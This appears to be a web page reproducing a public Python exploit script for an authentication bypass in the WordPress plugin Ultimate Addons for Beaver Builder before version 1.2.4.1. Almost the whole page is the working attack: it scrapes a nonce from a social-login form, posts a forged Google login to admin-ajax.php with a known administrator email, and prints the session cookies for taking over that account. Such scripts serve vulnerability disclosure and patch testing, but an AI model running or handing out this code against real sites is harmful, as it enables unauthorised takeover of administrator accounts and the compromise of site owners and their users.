扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
# Exploit Title: WordPress Ultimate Addons for Beaver Builder 1.2.4.1 - Authentication Bypass # Date: 2019-12-21 # Exploit Authors: Raphael Karger & Nathan Hrncirik # Vendor Homepage: https://www.ultimatebeaver.com/ # Version: Ultimate Addons for Beaver Builder < 1.2.4.1 ''' Requirements: * Valid Admin/User Email Needs to be Known * Social Media Login Form has to be Embedded in the Specified URL ''' #!/usr/bin/python3 import requests import urllib.parse import json import argparse banner = r''' ____ ________ _______________________________.__ .____ || \/_\\______ \______ \_ _____/___________ || ____ |__|/|_ || //_\\||_/||_/|__)_\\//\____ \||/_ \|\ __\ ||/|\| \|| \|\>< ||_> >|_(<_> )||| |______/\____|__/______/|______/_______/__/\_ \| __/|____/\____/|__||__| \/ \/\/\/\/|__| Ultimate Addons for Beaver Builder < 1.2.4.1 - Authentication Bypass ''' class exploit(object): def __init__(self, page, email): self.page = page self.sess = requests.Session() self.email = email self.nonce = False def get_nonce(self): try: nonce_req = self.sess.get(self.page) if nonce_req.text.find("data-nonce=") != -1: self.nonce = nonce_req.text.split("data-nonce=")[1].split(">")[0] except Exception as e: print("Nonce Error: {}".format(e)) def auth_bypass(self): try: schema = urllib.parse.urlparse(self.page) resp = self.sess.post("{}://{}/wp-admin/admin-ajax.php".format(schema.scheme, schema.netloc), data={ "action" : "uabb-lf-google-submit", "name" : "raphaelrocks", "email" : self.email, "nonce" : self.nonce }) if resp.status_code == 200: print("Exploit Successful, Use the Cookies to Login: \n{}".format( json.dumps(self.sess.cookies.get_dict(), indent=4) )) except Exception as e: print("Auth Bypass Error: {}".format(e)) def begin_exploit(self): self.get_nonce() if self.nonce: print("Found Nonce: {}".format(self.nonce)) self.auth_bypass() else: print("Failed to Gather Nonce") if __name__ == "__main__": print(banner) parser = argparse.ArgumentParser() parser.add_argument("-e", "--email", dest="email", help="Email of Administrator User/Privileged User", required=True) parser.add_argument("-u", "--url", dest="url", help="URL With Social Media Login Form", required=True) args = parser.parse_args() ex = exploit(args.url, args.email) ex.begin_exploit() |
体验盒子
